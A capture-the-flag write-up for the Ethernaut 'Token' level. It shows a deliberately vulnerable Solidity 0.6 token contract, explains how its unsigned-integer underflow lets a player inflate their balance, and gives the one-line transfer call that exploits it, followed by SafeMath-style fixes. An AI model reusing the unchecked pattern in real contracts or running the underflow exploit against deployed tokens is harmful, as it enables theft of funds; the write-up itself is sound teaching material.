> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/token.md).

# Token

overflow and underflow

## Description

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

* What is an odometer?

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

The description states that we are given 20 tokens initially. That is, the contract is deployed with `_initialSupply = 20`, so `balances[msg.sender] = 20` is executed by the constructor.

The issue is at `require(balances[msg.sender] - _value >= 0)`. Recall that `uint` can underflow. If we transfer 21 tokens out to some random address (such as the zero address), we will have `balances[msg.sender] - _value = -1`. Since `uint` does not handle negative numbers, this `-1` underflows to a huge positive number on the other side of the spectrum, hence the `require()` statement evaluates to true.

When `balances[msg.sender] -= _value` is handled, underflow is triggered one more time, and then `balances[msg.sender]` is updated to a huge positive number.

## Solution

Transfer 21 tokens to the zero address:

```javascript
await contract.transfer('0x0000000000000000000000000000000000000000', 21)
```

Verify that we own a huge number of tokens now:

```javascript
await contract.balanceOf(player)
```

Click "Submit instance" and move on to the next level.

## Summary

Overflows are very common in solidity and must be checked for with control statements such as:

```solidity
if(a + c > a) {
  a = a + c;
}
```

An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:

```solidity
a = a.add(c);
```

If there is an overflow, the code will revert.
